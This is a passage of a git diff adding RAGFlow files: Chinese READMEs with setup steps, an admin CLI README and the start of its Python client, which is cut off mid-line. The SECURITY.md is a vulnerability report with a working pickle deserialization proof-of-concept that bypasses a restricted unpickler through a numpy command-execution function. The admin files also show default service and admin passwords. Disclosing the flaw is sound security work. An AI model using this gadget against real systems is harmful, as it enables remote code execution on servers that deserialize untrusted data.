sandbox-executor-manager + ``` + +4. 如果無法存取 HuggingFace，可以把環境變數 `HF_ENDPOINT` 設為對應的鏡像網站： + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. 如果你的操作系统没有 jemalloc，请按照如下方式安装： + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum install jemalloc + # mac + sudo brew install jemalloc + ``` + +6. 啟動後端服務： + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. 安裝前端依賴： + + ```bash + cd web + npm install + ``` + +8. 啟動前端服務： + + ```bash + npm run dev + ``` + + 以下界面說明系統已成功啟動：_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + ``` + +9. 開發完成後停止 RAGFlow 前端和後端服務： + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 技術文檔 + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 路線圖 + +詳見 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。 + +## 🏄 開源社群 + +- [Discord](https://discord.gg/zd4qPW6t) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 貢獻指南 + +RAGFlow 只有透過開源協作才能蓬勃發展。秉持這項精神,我們歡迎來自社區的各種貢獻。如果您有意參與其中,請查閱我們的 [貢獻者指南](https://ragflow.io/docs/dev/contributing) 。 + +## 🤝 商務合作 + +- [預約諮詢](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh) + +## 👥 加入社區 + +掃二維碼加入 RAGFlow 小助手，進 RAGFlow 交流群。 + +

+ +

diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 0000000..ad1a001 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,415 @@ +
+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體版中文自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + follow on X(Twitter) + + + Static Badge + + + docker pull infiniflow/ragflow:v0.20.5 + + + Latest Release + + + license + + + Ask DeepWiki + +

+ +

+ Document | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +
+infiniflow%2Fragflow | Trendshift +
+ +
+📕 目录 + +- 💡 [RAGFlow 是什么？](#-RAGFlow-是什么) +- 🎮 [Demo](#-demo) +- 📌 [近期更新](#-近期更新) +- 🌟 [主要功能](#-主要功能) +- 🔎 [系统架构](#-系统架构) +- 🎬 [快速开始](#-快速开始) +- 🔧 [系统配置](#-系统配置) +- 🔨 [以源代码启动服务](#-以源代码启动服务) +- 📚 [技术文档](#-技术文档) +- 📜 [路线图](#-路线图) +- 🏄 [贡献指南](#-贡献指南) +- 🙌 [加入社区](#-加入社区) +- 🤝 [商务合作](#-商务合作) + +
+ +## 💡 RAGFlow 是什么？ + +[RAGFlow](https://ragflow.io/) 是一款领先的开源检索增强生成（RAG）引擎，通过融合前沿的 RAG 技术与 Agent 能力，为大型语言模型提供卓越的上下文层。它提供可适配任意规模企业的端到端 RAG 工作流，凭借融合式上下文引擎与预置的 Agent 模板，助力开发者以极致效率与精度将复杂数据转化为高可信、生产级的人工智能系统。 + +## 🎮 Demo 试用 + +请登录网址 [https://demo.ragflow.io](https://demo.ragflow.io) 试用 demo。 + +
+ + +
+ +## 🔥 近期更新 + +- 2025-08-08 支持 OpenAI 最新的 GPT-5 系列模型. +- 2025-08-04 新增对 Kimi K2 和 Grok 4 等模型的支持. +- 2025-08-01 支持 agentic workflow 和 MCP。 +- 2025-05-23 Agent 新增 Python/JS 代码执行器组件。 +- 2025-05-05 支持跨语言查询。 +- 2025-03-19 PDF 和 DOCX 中的图支持用多模态大模型去解析得到描述. +- 2025-02-28 结合互联网搜索（Tavily），对于任意大模型实现类似 Deep Research 的推理功能. +- 2024-12-18 升级了 DeepDoc 的文档布局分析模型。 +- 2024-08-22 支持用 RAG 技术实现从自然语言到 SQL 语句的转换。 + +## 🎉 关注项目 + +⭐️ 点击右上角的 Star 关注 RAGFlow，可以获取最新发布的实时通知 !🌟 + +
+ +
+ +## 🌟 主要功能 + +### 🍭 **"Quality in, quality out"** + +- 基于[深度文档理解](./deepdoc/README.md)，能够从各类复杂格式的非结构化数据中提取真知灼见。 +- 真正在无限上下文（token）的场景下快速完成大海捞针测试。 + +### 🍱 **基于模板的文本切片** + +- 不仅仅是智能，更重要的是可控可解释。 +- 多种文本模板可供选择 + +### 🌱 **有理有据、最大程度降低幻觉（hallucination）** + +- 文本切片过程可视化，支持手动调整。 +- 有理有据：答案提供关键引用的快照并支持追根溯源。 + +### 🍔 **兼容各类异构数据源** + +- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据、网页等。 + +### 🛀 **全程无忧、自动化的 RAG 工作流** + +- 全面优化的 RAG 工作流可以支持从个人应用乃至超大型企业的各类生态系统。 +- 大语言模型 LLM 以及向量模型均支持配置。 +- 基于多路召回、融合重排序。 +- 提供易用的 API，可以轻松集成到各类企业系统。 + +## 🔎 系统架构 + +
+ +
+ +## 🎬 快速开始 + +### 📝 前提条件 + +- CPU >= 4 核 +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): 仅在你打算使用 RAGFlow 的代码执行器（沙箱）功能时才需要安装。 + +> [!TIP] +> 如果你并没有在本机安装 Docker（Windows、Mac，或者 Linux）, 可以参考文档 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安装。 + +### 🚀 启动服务器 + +1. 确保 `vm.max_map_count` 不小于 262144： + + > 如需确认 `vm.max_map_count` 的大小： + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > 如果 `vm.max_map_count` 的值小于 262144，可以进行重置： + > + > ```bash + > # 这里我们设为 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > 你的改动会在下次系统重启时被重置。如果希望做永久改动，还需要在 **/etc/sysctl.conf** 文件里把 `vm.max_map_count` 的值再相应更新一遍： + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. 克隆仓库： + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. 进入 **docker** 文件夹，利用提前编译好的 Docker 镜像启动服务器： + +> [!CAUTION] +> 请注意，目前官方提供的所有 Docker 镜像均基于 x86 架构构建，并不提供基于 ARM64 的 Docker 镜像。 +> 如果你的操作系统是 ARM64 架构，请参考[这篇文档](https://ragflow.io/docs/dev/build_docker_image)自行构建 Docker 镜像。 + + > 运行以下命令会自动下载 RAGFlow slim Docker 镜像 `v0.20.5-slim`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.20.5-slim` 的 Docker 镜像，请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。比如，你可以通过设置 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` 来下载 RAGFlow 镜像的 `v0.20.5` 完整发行版。 + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | + | ----------------- | --------------- | --------------------- | ------------------------ | + | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | + | v0.20.5-slim | ≈2 | ❌ | Stable release | + | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | + | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + + > [!TIP] + > 如果你遇到 Docker 镜像拉不下来的问题，可以在 **docker/.env** 文件内根据变量 `RAGFLOW_IMAGE` 的注释提示选择华为云或者阿里云的相应镜像。 + > + > - 华为云镜像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow` + > - 阿里云镜像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow` + +4. 服务器启动成功后再次确认服务器状态： + + ```bash + $ docker logs -f ragflow-server + ``` + + _出现以下界面提示说明服务器启动成功：_ + + ```bash + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > 如果您在没有看到上面的提示信息出来之前，就尝试登录 RAGFlow，你的浏览器有可能会提示 `network anormal` 或 `网络异常`。 + +5. 在你的浏览器中输入你的服务器对应的 IP 地址并登录 RAGFlow。 + > 上面这个例子中，您只需输入 http://IP_OF_YOUR_MACHINE 即可：未改动过配置则无需输入端口（默认的 HTTP 服务端口 80）。 +6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件的 `user_default_llm` 栏配置 LLM factory，并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。 + + > 详见 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。 + + _好戏开始，接着奏乐接着舞！_ + +## 🔧 系统配置 + +系统配置涉及以下三份文件： + +- [.env](./docker/.env)：存放一些基本的系统环境变量，比如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。 +- [service_conf.yaml.template](./docker/service_conf.yaml.template)：配置各类后台服务。 +- [docker-compose.yml](./docker/docker-compose.yml): 系统依赖该文件完成启动。 + +请务必确保 [.env](./docker/.env) 文件中的变量设置与 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件中的配置保持一致！ + +如果不能访问镜像站点 hub.docker.com 或者模型站点 huggingface.co，请按照 [.env](./docker/.env) 注释修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。 + +> [./docker/README](./docker/README.md) 解释了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的环境变量设置和服务配置。 + +如需更新默认的 HTTP 服务端口(80), 可以在 [docker-compose.yml](./docker/docker-compose.yml) 文件中将配置 `80:80` 改为 `:80`。 + +> 所有系统配置都需要通过系统重启生效： +> +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +### 把文档引擎从 Elasticsearch 切换成为 Infinity + +RAGFlow 默认使用 Elasticsearch 存储文本和向量数据. 如果要切换为 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步骤进行: + +1. 停止所有容器运行: + + ```bash + $ docker compose -f docker/docker-compose.yml down -v + ``` + Note: `-v` 将会删除 docker 容器的 volumes，已有的数据会被清空。 + +2. 设置 **docker/.env** 目录中的 `DOC_ENGINE` 为 `infinity`. + +3. 启动容器: + + ```bash + $ docker compose -f docker-compose.yml up -d + ``` + +> [!WARNING] +> Infinity 目前官方并未正式支持在 Linux/arm64 架构下的机器上运行. + +## 🔧 源码编译 Docker 镜像（不含 embedding 模型） + +本 Docker 镜像大小约 2 GB 左右并且依赖外部的大模型和 embedding 服务。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 源码编译 Docker 镜像（包含 embedding 模型） + +本 Docker 大小约 9 GB 左右。由于已包含 embedding 模型，所以只需依赖外部的大模型服务即可。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 以源代码启动服务 + +1. 安装 `uv` 和 `pre-commit`。如已经安装，可跳过本步骤： + + ```bash + pipx install uv pre-commit + export UV_INDEX=https://mirrors.aliyun.com/pypi/simple + ``` + +2. 下载源代码并安装 Python 依赖： + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. 通过 Docker Compose 启动依赖的服务（MinIO, Elasticsearch, Redis, and MySQL）： + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + 在 `/etc/hosts` 中添加以下代码，目的是将 **conf/service_conf.yaml** 文件中的所有 host 地址都解析为 `127.0.0.1`： + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` +4. 如果无法访问 HuggingFace，可以把环境变量 `HF_ENDPOINT` 设成相应的镜像站点： + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. 如果你的操作系统没有 jemalloc，请按照如下方式安装： + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum install jemalloc + # mac + sudo brew install jemalloc + ``` + +6. 启动后端服务： + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. 安装前端依赖： + + ```bash + cd web + npm install + ``` + +8. 启动前端服务： + + ```bash + npm run dev + ``` + + _以下界面说明系统已经成功启动：_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + +9. 开发完成后停止 RAGFlow 前端和后端服务： + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 技术文档 + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 路线图 + +详见 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。 + +## 🏄 开源社区 + +- [Discord](https://discord.gg/zd4qPW6t) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 贡献指南 + +RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的 [贡献者指南](https://ragflow.io/docs/dev/contributing) 。 + +## 🤝 商务合作 + +- [预约咨询](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh) + +## 👥 加入社区 + +扫二维码添加 RAGFlow 小助手，进 RAGFlow 交流群。 + +

+ +

diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..3ccc48b --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,74 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| <=0.7.0 | :white_check_mark: | + +## Reporting a Vulnerability + +### Branch name + +main + +### Actual behavior + +The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution. +The main reason is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy. + + +### Steps to reproduce + + +**ragflow_patch.py** + +```py +import builtins +import io +import pickle + +safe_module = { + 'numpy', + 'rag_flow' +} + + +class RestrictedUnpickler(pickle.Unpickler): + def find_class(self, module, name): + import importlib + if module.split('.')[0] in safe_module: + _module = importlib.import_module(module) + return getattr(_module, name) + # Forbid everything else. + raise pickle.UnpicklingError("global '%s.%s' is forbidden" % + (module, name)) + + +def restricted_loads(src): + """Helper function analogous to pickle.loads().""" + return RestrictedUnpickler(io.BytesIO(src)).load() +``` +Then, **PoC.py** +```py +import pickle +from ragflow_patch import restricted_loads +class Exploit: + def __reduce__(self): + import numpy.f2py.diagnose + return numpy.f2py.diagnose.run_command, ('whoami', ) + +Payload=pickle.dumps(Exploit()) +restricted_loads(Payload) +``` +**Result** +![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8) + + +### Additional information + +#### How to prevent? +Strictly filter the module and name before calling with getattr function. diff --git a/admin/README.md b/admin/README.md new file mode 100644 index 0000000..c5e1c0b --- /dev/null +++ b/admin/README.md @@ -0,0 +1,101 @@ +# RAGFlow Admin Service & CLI + +### Introduction + +Admin Service is a dedicated management component designed to monitor, maintain, and administrate the RAGFlow system. It provides comprehensive tools for ensuring system stability, performing operational tasks, and managing users and permissions efficiently. + +The service offers real-time monitoring of critical components, including the RAGFlow server, Task Executor processes, and dependent services such as MySQL, Elasticsearch, Redis, and MinIO. It automatically checks their health status, resource usage, and uptime, and performs restarts in case of failures to minimize downtime. + +For user and system management, it supports listing, creating, modifying, and deleting users and their associated resources like knowledge bases and Agents. + +Built with scalability and reliability in mind, the Admin Service ensures smooth system operation and simplifies maintenance workflows. + +It consists of a server-side Service and a command-line client (CLI), both implemented in Python. User commands are parsed using the Lark parsing toolkit. + +- **Admin Service**: A backend service that interfaces with the RAGFlow system to execute administrative operations and monitor its status. +- **Admin CLI**: A command-line interface that allows users to connect to the Admin Service and issue commands for system management. + +### Starting the Admin Service + +1. Before start Admin Service, please make sure RAGFlow system is already started. + +2. Run the service script: + ```bash + python admin/admin_server.py + ``` + The service will start and listen for incoming connections from the CLI on the configured port. + +### Using the Admin CLI + +1. Ensure the Admin Service is running. +2. Launch the CLI client: + ```bash + python admin/admin_client.py -h 0.0.0.0 -p 9381 + +## Supported Commands + +Commands are case-insensitive and must be terminated with a semicolon (`;`). + +### Service Management Commands + +- `LIST SERVICES;` + - Lists all available services within the RAGFlow system. +- `SHOW SERVICE ;` + - Shows detailed status information for the service identified by ``. +- `STARTUP SERVICE ;` + - Attempts to start the service identified by ``. +- `SHUTDOWN SERVICE ;` + - Attempts to gracefully shut down the service identified by ``. +- `RESTART SERVICE ;` + - Attempts to restart the service identified by ``. + +### User Management Commands + +- `LIST USERS;` + - Lists all users known to the system. +- `SHOW USER '';` + - Shows details and permissions for the specified user. The username must be enclosed in single or double quotes. +- `DROP USER '';` + - Removes the specified user from the system. Use with caution. +- `ALTER USER PASSWORD '' '';` + - Changes the password for the specified user. + +### Data and Agent Commands + +- `LIST DATASETS OF '';` + - Lists the datasets associated with the specified user. +- `LIST AGENTS OF '';` + - Lists the agents associated with the specified user. + +### Meta-Commands + +Meta-commands are prefixed with a backslash (`\`). + +- `\?` or `\help` + - Shows help information for the available commands. +- `\q` or `\quit` + - Exits the CLI application. + +## Examples + +```commandline +admin> list users; ++-------------------------------+------------------------+-----------+-------------+ +| create_date | email | is_active | nickname | ++-------------------------------+------------------------+-----------+-------------+ +| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery | +| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer | ++-------------------------------+------------------------+-----------+-------------+ + +admin> list services; ++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+ +| extra | host | id | name | port | service_type | ++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+ +| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server | +| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data | +| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store | +| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval | +| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval | +| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue | ++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+ +``` diff --git a/admin/admin_client.py b/admin/admin_client.py new file mode 100644 index 0000000..007b73e --- /dev/null +++ b/admin/admin_client.py @@ -0,0 +1,590 @@ +import argparse +import base64 + +from Cryptodome.PublicKey import RSA +from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 +from typing import Dict, List, Any +from lark import Lark, Transformer, Tree +import requests +from requests.auth import HTTPBasicAuth +from api.common.base64 import encode_to_base64 + +GRAMMAR = r""" +start: command + +command: sql_command | meta_command + +sql_command: list_services + | show_service + | startup_service + | shutdown_service + | restart_service + | list_users + | show_user + | drop_user + | alter_user + | create_user + | activate_user + | list_datasets + | list_agents + +// meta command definition +meta_command: "\\" meta_command_name [meta_args] + +meta_command_name: /[a-zA-Z?]+/ +meta_args: (meta_arg)+ + +meta_arg: /[^\\s"']+/ | quoted_string + +// command definition + +LIST: "LIST"i +SERVICES: "SERVICES"i +SHOW: "SHOW"i +CREATE: "CREATE"i +SERVICE: "SERVICE"i +SHUTDOWN: "SHUTDOWN"i +STARTUP: "STARTUP"i +RESTART: "RESTART"i +USERS: "USERS"i +DROP: "DROP"i +USER: "USER"i +ALTER: "ALTER"i +ACTIVE: "ACTIVE"i +PASSWORD: "PASSWORD"i +DATASETS: "DATASETS"i +OF: "OF"i +AGENTS: "AGENTS"i + +list_services: LIST SERVICES ";" +show_service: SHOW SERVICE NUMBER ";" +startup_service: STARTUP SERVICE NUMBER ";" +shutdown_service: SHUTDOWN SERVICE NUMBER ";" +restart_service: RESTART SERVICE NUMBER ";" + +list_users: LIST USERS ";" +drop_user: DROP USER quoted_string ";" +alter_user: ALTER USER PASSWORD quoted_string quoted_string ";" +show_user: SHOW USER quoted_string ";" +create_user: CREATE USER quoted_string quoted_string ";" +activate_user: ALTER USER ACTIVE quoted_string status ";" + +list_datasets: LIST DATASETS OF quoted_string ";" +list_agents: LIST AGENTS OF quoted_string ";" + +identifier: WORD +quoted_string: QUOTED_STRING +status: WORD + +QUOTED_STRING: /'[^']+'/ | /"[^"]+"/ +WORD: /[a-zA-Z0-9_\-\.]+/ +NUMBER: /[0-9]+/ + +%import common.WS +%ignore WS +""" + + +class AdminTransformer(Transformer): + + def start(self, items): + return items[0] + + def command(self, items): + return items[0] + + def list_services(self, items): + result = {'type': 'list_services'} + return result + + def show_service(self, items): + service_id = int(items[2]) + return {"type": "show_service", "number": service_id} + + def startup_service(self, items): + service_id = int(items[2]) + return {"type": "startup_service", "number": service_id} + + def shutdown_service(self, items): + service_id = int(items[2]) + return {"type": "shutdown_service", "number": service_id} + + def restart_service(self, items): + service_id = int(items[2]) + return {"type": "restart_service", "number": service_id} + + def list_users(self, items): + return {"type": "list_users"} + + def show_user(self, items): + user_name = items[2] + return {"type": "show_user", "username": user_name} + + def drop_user(self, items): + user_name = items[2] + return {"type": "drop_user", "username": user_name} + + def alter_user(self, items): + user_name = items[3] + new_password = items[4] + return {"type": "alter_user", "username": user_name, "password": new_password} + + def create_user(self, items): + user_name = items[2] + password = items[3] + return {"type": "create_user", "username": user_name, "password": password, "role": "user"} + + def activate_user(self, items): + user_name = items[3] + activate_status = items[4] + return {"type": "activate_user", "activate_status": activate_status, "username": user_name} + + def list_datasets(self, items): + user_name = items[3] + return {"type": "list_datasets", "username": user_name} + + def list_agents(self, items): + user_name = items[3] + return {"type": "list_agents", "username": user_name} + + def meta_command(self, items): + command_name = str(items[0]).lower() + args = items[1:] if len(items) > 1 else [] + + # handle quoted parameter + parsed_args = [] + for arg in args: + if hasattr(arg, 'value'): + parsed_args.append(arg.value) + else: + parsed_args.append(str(arg)) + + return {'type': 'meta', 'command': command_name, 'args': parsed_args} + + def meta_command_name(self, items): + return items[0] + + def meta_args(self, items): + return items + + +def encrypt(input_string): + pub = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArq9XTUSeYr2+N1h3Afl/z8Dse/2yD0ZGrKwx+EEEcdsBLca9Ynmx3nIB5obmLlSfmskLpBo0UACBmB5rEjBp2Q2f3AG3Hjd4B+gNCG6BDaawuDlgANIhGnaTLrIqWrrcm4EMzJOnAOI1fgzJRsOOUEfaS318Eq9OVO3apEyCCt0lOQK6PuksduOjVxtltDav+guVAA068NrPYmRNabVKRNLJpL8w4D44sfth5RvZ3q9t+6RTArpEtc5sh5ChzvqPOzKGMXW83C95TxmXqpbK6olN4RevSfVjEAgCydH6HN6OhtOQEcnrU97r9H0iZOWwbw3pVrZiUkuRD1R56Wzs2wIDAQAB\n-----END PUBLIC KEY-----' + pub_key = RSA.importKey(pub) + cipher = Cipher_pkcs1_v1_5.new(pub_key) + cipher_text = cipher.encrypt(base64.b64encode(input_string.encode('utf-8'))) + return base64.b64encode(cipher_text).decode("utf-8") + + +class AdminCommandParser: + def __init__(self): + self.parser = Lark(GRAMMAR, start='start', parser='lalr', transformer=AdminTransformer()) + self.command_history = [] + + def parse_command(self, command_str: str) -> Dict[str, Any]: + if not command_str.strip(): + return {'type': 'empty'} + + self.command_history.append(command_str) + + try: + result = self.parser.parse(command_str) + return result + except Exception as e: + return {'type': 'error', 'message': f'Parse error: {str(e)}'} + + +class AdminCLI: + def __init__(self): + self.parser = AdminCommandParser() + self.is_interactive = False + self.admin_account = "admin@ragflow.io" + self.admin_password: str = "admin" + self.host: str = "" + self.port: int = 0 + + def verify_admin(self, args): + + conn_info = self._parse_connection_args(args) + if 'error' in conn_info: + print(f"Error: {conn_info['error']}") + return + + self.host = conn_info['host'] + self.port = conn_info['port'] + print(f"Attempt to access ip: {self.host}, port: {self.port}") + url = f'http://{self.host}:{self.port}/api/v1/admin/auth' + + try_count = 0 + while True: + try_count += 1 + if try_count > 3: + return False + + admin_passwd = input(f"password for {self.admin_account}: ").strip() + try: + self.admin_password = encode_to_base64(admin_passwd) + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + if response.status_code == 200: + res_json = response.json() + error_code = res_json.get('code', -1) + if error_code == 0: + print("Authentication successful.") + return True + else: + error_message = res_json.get('message', 'Unknown error') + print(f"Authentication failed: {error_message}, try again") + continue + else: + print(f"Bad response，status: {response.status_code}, try again") + except Exception: + print(f"Can't access {self.host}, port: {self.port}") + + def _print_table_simple(self, data): + if not data: + print("No data to print") + return + if isinstance(data, dict): + # handle single row data + data = [data] + + columns = list(data[0].keys()) + col_widths = {} + + for col in columns: + max_width = len(str(col)) + for item in data: + value_len = len(str(item.get(col, ''))) + if value_len > max_width: + max_width = value_len + col_widths[col] = max(2, max_width) + + # Generate delimiter + separator = "+" + "+".join(["-" * (col_widths[col] + 2) for col in columns]) + "+" + + # Print header + print(separator) + header = "|" + "|".join([f" {col:<{col_widths[col]}} " for col in columns]) + "|" + print(header) + print(separator) + + # Print data + for item in data: + row = "|" + for col in columns: + value = str(item.get(col, '')) + if len(value) > col_widths[col]: + value = value[:col_widths[col] - 3] + "..." + row += f" {value:<{col_widths[col]}} |" + print(row) + + print(separator) + + def run_interactive(self): + + self.is_interactive = True + print("RAGFlow Admin command line interface - Type '\\?' for help, '\\q' to quit") + + while True: + try: + command = input("admin> ").strip() + if not command: + continue + + print(f"command: {command}") + result = self.parser.parse_command(command) + self.execute_command(result) + + if isinstance(result, Tree): + continue + + if result.get('type') == 'meta' and result.get('command') in ['q', 'quit', 'exit']: + break + + except KeyboardInterrupt: + print("\nUse '\\q' to quit") + except EOFError: + print("\nGoodbye!") + break + + def run_single_command(self, args): + conn_info = self._parse_connection_args(args) + if 'error' in conn_info: + print(f"Error: {conn_info['error']}") + return + + def _parse_connection_args(self, args: List[str]) -> Dict[str, Any]: + parser = argparse.ArgumentParser(description='Admin CLI Client', add_help=False) + parser.add_argument('-h', '--host', default='localhost', help='Admin service host') + parser.add_argument('-p', '--port', type=int, default=8080, help='Admin service port') + + try: + parsed_args, remaining_args = parser.parse_known_args(args) + return { + 'host': parsed_args.host, + 'port': parsed_args.port, + } + except SystemExit: + return {'error': 'Invalid connection arguments'} + + def execute_command(self, parsed_command: Dict[str, Any]): + + command_dict: dict + if isinstance(parsed_command, Tree): + command_dict = parsed_command.children[0] + else: + if parsed_command['type'] == 'error': + print(f"Error: {parsed_command['message']}") + return + else: + command_dict = parsed_command + + # print(f"Parsed command: {command_dict}") + + command_type = command_dict['type'] + + match command_type: + case 'list_services': + self._handle_list_services(command_dict) + case 'show_service': + self._handle_show_service(command_dict) + case 'restart_service': + self._handle_restart_service(command_dict) + case 'shutdown_service': + self._handle_shutdown_service(command_dict) + case 'startup_service': + self._handle_startup_service(command_dict) + case 'list_users': + self._handle_list_users(command_dict) + case 'show_user': + self._handle_show_user(command_dict) + case 'drop_user': + self._handle_drop_user(command_dict) + case 'alter_user': + self._handle_alter_user(command_dict) + case 'create_user': + self._handle_create_user(command_dict) + case 'activate_user': + self._handle_activate_user(command_dict) + case 'list_datasets': + self._handle_list_datasets(command_dict) + case 'list_agents': + self._handle_list_agents(command_dict) + case 'meta': + self._handle_meta_command(command_dict) + case _: + print(f"Command '{command_type}' would be executed with API") + + def _handle_list_services(self, command): + print("Listing all services") + + url = f'http://{self.host}:{self.port}/api/v1/admin/services' + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to get all users, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_show_service(self, command): + service_id: int = command['number'] + print(f"Showing service: {service_id}") + + url = f'http://{self.host}:{self.port}/api/v1/admin/services/{service_id}' + response = 